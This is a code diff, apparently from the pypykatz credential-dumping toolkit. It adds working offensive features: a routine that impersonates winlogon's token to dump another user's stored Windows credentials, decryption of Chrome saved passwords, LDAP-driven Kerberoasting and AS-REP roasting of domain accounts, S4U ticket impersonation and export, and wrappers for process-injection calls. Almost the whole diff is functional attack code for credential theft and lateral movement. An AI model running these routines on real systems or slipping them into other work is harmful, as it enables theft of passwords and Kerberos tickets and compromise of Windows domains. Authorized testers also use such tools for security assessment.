629 # __out PDWORD lpflOldProtect
630 # );
631 def VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect = PAGE_EXECUTE_READWRITE):
632 _VirtualProtectEx = windll.kernel32.VirtualProtectEx
633 _VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, PDWORD]
634 _VirtualProtectEx.restype = bool
635 _VirtualProtectEx.errcheck = RaiseIfZero
636
637 flOldProtect = DWORD(0)
638 _VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, byref(flOldProtect))
639 return flOldProtect.value
640
641 # BOOL WINAPI VirtualFreeEx(
642 # __in HANDLE hProcess,
643 # __in LPVOID lpAddress,
644 # __in SIZE_T dwSize,
645 # __in DWORD dwFreeType
646 # );
647 def VirtualFreeEx(hProcess, lpAddress, dwSize = 0, dwFreeType = MEM_RELEASE):
648 _VirtualFreeEx = windll.kernel32.VirtualFreeEx
649 _VirtualFreeEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD]
650 _VirtualFreeEx.restype = bool
651 _VirtualFreeEx.errcheck = RaiseIfZero
652 _VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType)
653
654 # LPVOID WINAPI VirtualAllocEx(
655 # __in HANDLE hProcess,
656 # __in_opt LPVOID lpAddress,
657 # __in SIZE_T dwSize,
658 # __in DWORD flAllocationType,
659 # __in DWORD flProtect
660 # );
661 def VirtualAllocEx(hProcess, lpAddress = 0, dwSize = 0x1000, flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE):
662 _VirtualAllocEx = windll.kernel32.VirtualAllocEx
663 _VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD]
664 _VirtualAllocEx.restype = LPVOID
665
666 lpAddress = _VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
667 if lpAddress == NULL:
668 raise ctypes.WinError()
669 return lpAddress
670
671
672 # HANDLE WINAPI CreateRemoteThread(
673 # __in HANDLE hProcess,
674 # __in LPSECURITY_ATTRIBUTES lpThreadAttributes,
675 # __in SIZE_T dwStackSize,
676 # __in LPTHREAD_START_ROUTINE lpStartAddress,
677 # __in LPVOID lpParameter,
678 # __in DWORD dwCreationFlags,
679 # __out LPDWORD lpThreadId
680 # );
681 def CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags):
682 _CreateRemoteThread = windll.kernel32.CreateRemoteThread
683 _CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD]
684 _CreateRemoteThread.restype = HANDLE
685
686 if not lpThreadAttributes:
687 lpThreadAttributes = None
688 else:
689 lpThreadAttributes = byref(lpThreadAttributes)
690 dwThreadId = DWORD(0)
691 hThread = _CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, byref(dwThreadId))
692 if not hThread:
693 raise ctypes.WinError()
694 return hThread, dwThreadId.value
695
696 def GetProcAddressW(hModule, lpProcName):
697 _GetProcAddress = windll.kernel32.GetProcAddress
698 _GetProcAddress.argtypes = [HMODULE, LPVOID]
699 _GetProcAddress.restype = LPVOID
700
701 if type(lpProcName) in (type(0), type(0)):
702 lpProcName = LPVOID(lpProcName)
703 if lpProcName.value & (~0xFFFF):
704 raise ValueError('Ordinal number too large: %d' % lpProcName.value)
705 elif type(lpProcName) == type(""):
706 lpProcName = ctypes.create_string_buffer(lpProcName.encode('ascii'))
707 elif type(lpProcName) == type(b""):
708 lpProcName = ctypes.c_char_p(lpProcName)
709 else:
710 raise TypeError(str(type(lpProcName)))
711 return _GetProcAddress(hModule, lpProcName)
712
713
714 def LoadLibraryW(pszLibrary):
715 _LoadLibraryW = windll.kernel32.LoadLibraryW
716 _LoadLibraryW.argtypes = [LPWSTR]
717 _LoadLibraryW.restype = HMODULE
718 hModule = _LoadLibraryW(pszLibrary)
719 if hModule == NULL:
720 raise ctypes.WinError()
721 return hModule
99 from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI
1010 from pypykatz.commons.winapi.constants import *
1111 from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive
12 from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE
1213
1314 class User:
1415 def __init__(self, name, domain, sid):
6061 name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid)
6162 users[sid_str] = User(name, domain, sid_str)
6263 return users
64
65 #def list_services(self):
66 # logger.debug('Listing services...')
67 # hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
68 # for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr):
69 # print(serviceattr.lpServiceName)
70 # print(serviceattr.lpDisplayName)
71 # print(serviceattr.ServiceStatus.dwServiceType)
72 #
73 #
74 # status = ''
75 # if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING:
76 # status = 'PENDING'
77 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING:
78 # status = 'PENDINGPAUSE'
79 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED:
80 # status = 'PAUSED'
81 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING:
82 # status = 'RUNNING'
83 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING:
84 # status = 'PENDINGSTART'
85 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING:
86 # status = 'PENDINGSTOP'
87 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED:
88 # status = 'STOPPED'
89 #
90 # print(status)
91
92 def list_services_pid(self):
93 logger.debug('Listing services with pid...')
94 hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
95 for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr):
96 if serviceattr.ServiceStatusProcess.dwProcessId == 0:
97 continue
98 yield serviceattr.ServiceStatusProcess.dwProcessId
99
100 def list_services(self):
101 logger.debug('Listing services with pid...')
102 hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
103 for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr):
104 if serviceattr.ServiceStatusProcess.dwProcessId == 0:
105 continue
106 yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId
107
108 def list_all_pids(self):
109 for pid in self.api.psapi.EnumProcesses():
110 if pid == 0:
111 continue
112 yield pid
63113
64114 if __name__ == '__main__':
65115 u = LiveMachine()
66 t = u.list_users()
67 for sid in t:
68 print(str(t[sid]))
69 t = u.get_current_user()
70 print(str(t))
116 t = u.list_services()
117
118 #for srv in t:
119 # print(str(t[sid]))
120 #t = u.get_current_user()
121 #print(str(t))
4444 live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords')
4545 live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.')
4646
47 live_tcap_parser = live_dpapi_subparsers.add_parser('tcap', help = '[ADMIN ONLY] Obtains users stored DPAPI creds via SeTrustedCredmanAccessPrivilege')
48 live_tcap_parser.add_argument('targetpid', type=int, help= 'PID of the process of the target user.')
49 live_tcap_parser.add_argument('--source', default = 'winlogon.exe', help= 'A process that has SeTrustedCredmanAccessPrivilege')
50 live_tcap_parser.add_argument('--tempfile', help= 'PID of the process of the target user')
51 live_tcap_parser.add_argument('-o', '--outfile', help= 'Output file name')
4752
4853 live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser])
4954
143148 dpapi.get_prekeys_from_password(args.sid, password = pw)
144149
145150 elif args.prekey_command == 'nt':
146 if args.nt is None or args.sid is None:
151 if args.nthash is None or args.sid is None:
147152 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
148153
149 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
154 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash)
150155
151156
152157 dpapi.dump_pre_keys(args.out_file)
158163
159164 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
160165 dpapi.dump_masterkeys(args.out_file)
161 dpapi.dump_pre_keys(args.out_file + '_prekeys')
166 if args.out_file is not None:
167 dpapi.dump_pre_keys(args.out_file + '_prekeys')
168 else:
169 dpapi.dump_pre_keys()
162170
163171
164172 elif args.dapi_module == 'masterkey':
165 if args.key is None and args.prekey is None:
173 if args.prekey is None:
166174 raise Exception('Etieher KEY or path to prekey file must be supplied!')
167175
168 if args.prekey:
169 dpapi.load_prekeys(args.prekey)
170 dpapi.decrypt_masterkey_file(args.mkf)
171
172 if args.key:
173 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
176 dpapi.load_prekeys(args.prekey)
177 dpapi.decrypt_masterkey_file(args.masterkeyfile)
174178
175179 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
176180 print('Failed to decrypt the masterkeyfile!')
222226 dpapi.load_masterkeys(args.mkf)
223227
224228 try:
225 bytes.fromhex(args.securestring)
229 bytes.fromhex(args.blob)
226230 except Exception as e:
227231 print('Error! %s' %e)
228 dec_sec = dpapi.decrypt_securestring_file(args.securestring)
229 else:
230 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
232 dec_sec = dpapi.decrypt_securestring_file(args.blob)
233 else:
234 dec_sec = dpapi.decrypt_securestring_hex(args.blob)
231235
232236 print('HEX: %s' % dec_sec.hex())
233237 print('STR: %s' % dec_sec.decode('utf-16-le'))
237241 def run_live(self, args):
238242 if platform.system().lower() != 'windows':
239243 raise Exception('Live commands only work on Windows!')
244
245 if args.livedpapicommand == 'tcap':
246 from pypykatz.dpapi.extras import dpapi_trustedcredman
247
248 rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile)
249 if err is not None:
250 print(err)
251 return
252
253 if args.outfile is not None:
254 with open(args.outfile, 'w') as f:
255 for cred in creds:
256 f.write(cred.to_text() + '\r\n')
257 else:
258 for cred in creds:
259 print(cred.to_text())
260 return
240261
241262 from pypykatz.dpapi.dpapi import DPAPI
242263 dpapi = DPAPI(use_winapi=True)
111111 f.write(x.hex() + '\r\n')
112112
113113 def load_prekeys(self, filename):
114 with open(filename, 'r') as f:
115 for line in f:
116 line = line.strip()
117 self.prekeys[bytes.fromhex(line)] = 1
114 try:
115 open(filename, 'r')
116 except Exception as e:
117 key = bytes.fromhex(filename)
118 self.prekeys[key] = 1
119 return
120 else:
121 with open(filename, 'r') as f:
122 for line in f:
123 line = line.strip()
124 self.prekeys[bytes.fromhex(line)] = 1
118125
119126 def dump_masterkeys(self, filename = None):
120127 if filename is None:
346353 returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key
347354 """
348355 mkf = MasterKeyFile.from_bytes(data)
349
350356 mks = {}
351357 bks = {}
352358 if mkf.masterkey is not None:
682688 encrypted_key = json.load(f)['os_crypt']['encrypted_key']
683689 encrypted_key = base64.b64decode(encrypted_key)
684690
685 localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
686
691 try:
692 localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
693 except:
694 # this localstate was encrypted for another user...
695 continue
687696 if 'cookies' in dbpaths[username]:
688697 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'])
689698 for host_key, name, path, encrypted_value in secrets['cookies']:
701710 if 'logindata' in dbpaths[username]:
702711 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'])
703712 for url, user, enc_password in secrets['logins']:
704 password = self.decrypt_blob_bytes(enc_password)
705 results['logins'].append((dbpaths[username]['logindata'], url, user, password ))
713 if enc_password.startswith(b'v10'):
714 nonce = enc_password[3:3+12]
715 ciphertext = enc_password[3+12:-16]
716 tag = enc_password[-16:]
717 cipher = AES_GCM(localstate_dec)
718 password = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'')
719 results['logins'].append((dbpaths[username]['logindata'], url, user, password))
720
721 else:
722 password = self.decrypt_blob_bytes(enc_password)
723 results['logins'].append((dbpaths[username]['logindata'], url, user, password ))
706724
707725
708726 return results
0 # Thank you!
1 # https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html
2
3 import tempfile
4 import os
5
6 from pypykatz import logger
7 from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials
8 from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION
9 from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege
10 from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken
11 from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData
12 from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile
13
14
15 def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None):
16 dec_data = None
17 try:
18 if temp_file_path is None:
19 tf = tempfile.NamedTemporaryFile(delete=False)
20 temp_file_path = tf.name
21 logger.debug('Temp file path: %s' % temp_file_path)
22 tf.close()
23
24 enable_debug_privilege()
25
26 ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege
27 pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True)
28 winlogon_token = pwinlogon.duplicate_token()
29 SetThreadToken(winlogon_token)
30 RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31
31
32
33 ### opening target process, getting handle on its token
34 puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True)
35 puserprocess_token = puserprocess.get_process_token()
36
37 ### magic happens here
38 CredBackupCredentials(puserprocess_token, temp_file_path)
39
40 ### opening encrypted cerentials file and decrypting it
41 with open(temp_file_path, 'rb') as f:
42 dec_data = CryptUnprotectData(f.read())
43
44
45 ### parsing decrypted credfile
46 results = []
47 xf = CredentialFile.from_bytes(dec_data)
48 blobsdata = xf.data
49 if xf.unk == 2:
50 res = CREDENTIAL_BLOB.from_bytes(blobsdata)
51 results.append(res)
52 blobsdata = blobsdata[res.size:]
53 while len(blobsdata) > 0:
54 res = CREDENTIAL_BLOB.from_bytes(blobsdata)
55 results.append(res)
56 blobsdata = blobsdata[res.size:]
57
58 return dec_data, results, None
59 except Exception as e:
60 logger.debug('dpapi_trustedcredman err! %s' % e)
61 return dec_data, None, e
62 finally:
63 try:
64 os.unlink(temp_file_path)
65 logger.debug('Temp file removed')
66 except Exception as e:
67 logger.debug('Failed to remove temp file! %s' % str(e))
68 pass
8989 else:
9090 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
9191 return t
92
93
92
93 class CREDBLOBTYPE(enum.Enum):
94 UNKNOWN = 0
95 GENERIC = 1
96 DOMAIN_PASSWORD = 2
97 DOMAIN_CERTIFICATE = 3
98 DOMAIN_VISIBLE_PASSWORD = 4
99 GENERIC_CERTIFICATE = 5
100 DOMAIN_EXTENDED = 6
101
94102 class CREDENTIAL_BLOB:
95103 """
96104 """
119127 self.unknown4 = None
120128
121129 self.attributes = []
130 self.type_pretty = None
122131
123132
124133
133142 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
134143 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
135144 sk.type = int.from_bytes(buff.read(4), 'little', signed = False)
145 try:
146 sk.type_pretty = CREDBLOBTYPE(sk.type)
147 except:
148 sk.type_pretty = CREDBLOBTYPE.UNKNOWN
136149 sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False)
137150 sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False)
138151 sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
180193
181194 def to_text(self):
182195 t = ''
196 t += 'type : %s (%s)\r\n' % (self.type_pretty.name, self.type)
183197 t += 'last_written : %s\r\n' % self.last_written
184198 if len(self.target) > 0:
185199 t += 'target : %s\r\n' % str(self.target)
33 # Tamas Jos (@skelsec)
44 #
55
6 import os
67 import base64
78 import platform
89 import argparse
1112 import traceback
1213
1314 from minikerberos.common.utils import print_table
15 from minikerberos.protocol.asn1_structs import KRB_CRED
1416 from pypykatz.commons.filetime import filetime_to_dt
1517 from pypykatz.commons.common import geterr
1618 from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \
1820 del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache
1921
2022 from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi
23 from msldap.commons.url import MSLDAPURLDecoder
24 from minikerberos.common.spn import KerberosSPN
25 from minikerberos.common.creds import KerberosCredential
26
27
2128
2229 """
2330 Kerberos is not part of pypykatz directly.
113120 tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user')
114121 tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"')
115122 tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
123 tgt_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested')
116124
117125 tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user')
118126 tgs_parser.add_argument('url', help='user credentials in URL format')
119127 tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
120128 tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
129 tgs_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested')
121130
122131 brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames')
123132 brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
127136 brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
128137
129138 asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast')
139 asreproast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.')
130140 asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
131141 asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
132142 asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
133143 asreproast_parser.add_argument('address', help='Kerberos server IP/hostname')
134 asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
144 asreproast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
135145
136146 spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast')
147 spnroast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.')
137148 spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
138149 spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
139150 spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
140 spnroast_parser.add_argument('url', help='user credentials in URL format')
141 spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
151 spnroast_parser.add_argument('url', help='user credentials in Kerberos URL format')
152 spnroast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
142153
143154 s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user')
144155 s4u_parser.add_argument('url', help='user credentials in URL format')
247258 if args.outdir is not None:
248259 for luid in tickets:
249260 for ticket in tickets[luid]:
250 with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f:
261 try:
262 pt = KRB_CRED.load(ticket['Ticket']).native
263 name = '_'.join(pt['tickets'][0]['sname']['name-string'])
264 name = hex(int(luid)) + '_' + '@'.join([name, pt['tickets'][0]['realm']])
265 except:
266 name = hex(int(luid)) + '_' + os.urandom(4).hex()
267 with open(os.path.join(args.outdir, 'ticket_%s.kirbi' % name), 'wb') as f:
251268 f.write(ticket['Ticket'])
269
252270 else:
253271 for luid in tickets:
254272 if len(tickets[luid]) == 0:
260278
261279
262280 def run(self, args):
263 #raise NotImplementedError('Platform independent kerberos not implemented!')
264281
265282 if args.kerberos_module == 'tgt':
266 kirbi, filename, err = asyncio.run(get_TGT(args.url))
283 kirbi, err = asyncio.run(get_TGT(args.url, override_etype = args.etype))
267284 if err is not None:
268285 print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err)
269286 return
275292 print_kirbi(kirbi)
276293
277294 elif args.kerberos_module == 'tgs':
278 tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn))
295 tgs, encTGSRepPart, key, kirbi, err = asyncio.run(get_TGS(args.url, args.spn, override_etype = args.etype))
279296 if err is not None:
280297 print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err)
281298 return
282299
283
284300 if args.out_file is not None:
285 pass
286 else:
287 print(tgs)
288 print(encTGSRepPart)
289 print(key)
301 with open(args.out_file, 'wb') as f:
302 f.write(kirbi.dump())
303 else:
304 print_kirbi(kirbi)
290305
291306 elif args.kerberos_module == 'brute':
292307 target_spns = generate_targets(args.targets, args.domain)
296311 return
297312
298313 elif args.kerberos_module == 'asreproast':
299 target_spns = generate_targets(args.targets, args.domain, to_spn = False)
314 if args.ldap is None:
315 target_spns = generate_targets(args.targets, args.domain, to_spn = False)
316 else:
317 target_spns, _ = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'asrep'))
300318 _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype))
301319 if err is not None:
302 print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err))
320 print('[KERBEROS][ASREPROAST] Error! Reason: %s' % geterr(err))
303321 return
304322
305323 elif args.kerberos_module == 'spnroast':
306 target_spns = generate_targets(args.targets, args.domain, to_spn = True)
324 if args.ldap is None and args.targets is None:
325 raise Exception('Either LDAP URL or targets must be provided')
326 if args.ldap is None:
327 target_spns = generate_targets(args.targets, args.domain, to_spn = True)
328 else:
329 _, target_spns = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'spn'))
307330 _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype))
308331 if err is not None:
309 print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err))
332 print('[KERBEROS][SPNROAST] Error! Reason: %s' % geterr(err))
310333 return
311334
312335 elif args.kerberos_module == 's4u':
313 tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None))
314 if err is not None:
315 print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err))
316 return
336 tgs, encTGSRepPart, key, kirbi, err = asyncio.run(s4u(args.url, args.spn, args.targetuser))
337 if err is not None:
338 print('[KERBEROS][S4U] Error! Reason: %s' % geterr(err))
339 return
340
341 if args.out_file is not None:
342 with open(args.out_file, 'wb') as f:
343 f.write(kirbi.dump())
344 else:
345 print_kirbi(kirbi)
317346
318347 elif args.kerberos_module == 'keytab':
319348 process_keytab(args.keytabfile)
332361
333362 elif args.kerberos_module == 'kirbi':
334363 if args.kirbi_module == 'parse':
335 parse_kirbi(args.kirbifile)
364 parse_kirbi(args.kirbifile)
365
366
367 def get_ldap_url(authmethod = 'ntlm', host = None):
368 from winacl.functions.highlevel import get_logon_info
369 info = get_logon_info()
370
371 logonserver = info['logonserver']
372 if host is not None:
373 logonserver = host
374
375 return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver)
376
377 async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None):
378 if ldap_url == 'auto':
379 ldap_url = get_ldap_url(authmethod = authmethod, host = host)
380
381 msldap_url = MSLDAPURLDecoder(ldap_url)
382 client = msldap_url.get_client()
383 _, err = await client.connect()
384 if err is not None:
385 raise err
386
387 domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
388 spn_users = []
389 asrep_users = []
390
391 if target_type == 'asrep' or target_type == 'all':
392 async for user, err in client.get_all_knoreq_users():
393 if err is not None:
394 raise err
395 cred = KerberosCredential()
396 cred.username = user.sAMAccountName
397 cred.domain = domain
398
399 asrep_users.append(cred)
400
401 if target_type == 'spn' or target_type == 'all':
402 async for user, err in client.get_all_service_users():
403 if err is not None:
404 raise err
405 cred = KerberosSPN()
406 cred.username = user.sAMAccountName
407 cred.domain = domain
408
409 spn_users.append(cred)
410
411 return asrep_users, spn_users
1818 from minikerberos.common.keytab import Keytab
1919 from minikerberos.aioclient import AIOKerberosClient
2020 from minikerberos.common.utils import TGSTicket2hashcat
21 from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart
21 from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart, EncKrbCredPart
2222 from minikerberos.common.utils import print_table
2323 from minikerberos.common.ccache import CCACHE, Credential
24 from minikerberos.common.utils import tgt_to_kirbi
2425
2526
2627 def process_target_line(target, realm = None, to_spn = True):
130131
131132 cc.to_file(ccachefile)
132133
133 async def get_TGS(url, spn, out_file = None):
134 async def get_TGS(url, spn, out_file = None, override_etype = None):
134135 try:
135136 logger.debug('[KERBEROS][TGS] started')
137 if isinstance(override_etype, int):
138 override_etype = [override_etype]
139
136140 ku = KerberosClientURL.from_url(url)
137141 cred = ku.get_creds()
138142 target = ku.get_target()
143147 kcomm = AIOKerberosClient(cred, target)
144148 await kcomm.get_TGT()
145149 logger.debug('[KERBEROS][TGS] fetching TGS')
146 tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)
150 tgs, encTGSRepPart, key = await kcomm.get_TGS(spn, override_etype=override_etype)
151
152 kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
147153
148154 if out_file is not None:
149 kcomm.ccache.to_file(out_file)
155 with open(out_file, 'wb') as f:
156 f.write(kirbi.dump())
157
150158 logger.debug('[KERBEROS][TGS] done!')
151 return tgs, encTGSRepPart, key, None
152 except Exception as e:
153 return None, None, None, e
154
155 async def get_TGT(url):
159 return tgs, encTGSRepPart, key, kirbi, None
160 except Exception as e:
161 return None, None, None, None, e
162
163 async def get_TGT(url, override_etype = None):
156164 try:
157165 logger.debug('[KERBEROS][TGT] started')
166 if isinstance(override_etype, int):
167 override_etype = [override_etype]
158168 ku = KerberosClientURL.from_url(url)
159169 cred = ku.get_creds()
160170 target = ku.get_target()
164174
165175 kcomm = AIOKerberosClient(cred, target)
166176 logger.debug('[KERBEROS][TGT] fetching TGT')
167 await kcomm.get_TGT()
168
169 cred = kcomm.ccache.credentials[0]
170 kirbi, filename = cred.to_kirbi()
177 await kcomm.get_TGT(override_etype=override_etype)
171178
172 return kirbi, filename, None
173 except Exception as e:
174 return None, None, e
179 kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart)
180
181 return kirbi, None
182 except Exception as e:
183 return None, e
175184
176185 async def brute(host, targets, out_file = None, show_negatives = False):
177186 """
269278 except Exception as e:
270279 return None, e
271280
272 async def s4u(url, spn, targetuser, out_file = None):
281 async def s4u(url, spn, targetuser):
273282 try:
274283 logger.debug('[KERBEROS][S4U] Started')
275284 cu = KerberosClientURL.from_url(url)
284293 client = AIOKerberosClient(ccred, target)
285294 await client.get_TGT()
286295 logger.debug('[KERBEROS][S4U] Getting ST')
287 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
296 res = await client.getST(target_user, service_spn)
297 tgs, encTGSRepPart, key = res
288298 else:
289299 logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
290300 for tgt, key in ccred.ccache.get_all_tgt():
292302 logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
293303 client = AIOKerberosClient.from_tgt(target, tgt, key)
294304
295 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
305 res = await client.getST(target_user, service_spn)
306 tgs, encTGSRepPart, key = res
296307 logger.debug('[KERBEROS][S4U] Sucsess!')
297308 except Exception as e:
298309 logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e)
300311 else:
301312 break
302313
303 if out_file:
304 client.ccache.to_file(out_file)
305
306314 logger.debug('[KERBEROS][S4U] Done!')
307 return tgs, encTGSRepPart, key, None
308
309 except Exception as e:
310 return None, None, None, e
315 kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
316 return tgs, encTGSRepPart, key, kirbi, None
317
318 except Exception as e:
319 return None, None, None, None, e
170170 token_handle = OpenProcessToken(process_handle)
171171 stats = GetTokenInformation_tokenstatistics(token_handle)
172172 CloseHandle(process_handle)
173 return stats['TokenId']
173 return stats['AuthenticationId']
174174
175175 def list_luids(self):
176176 self.available_luids = LsaEnumerateLogonSessions()
55
66 from pypykatz import logger
77 import asyncio
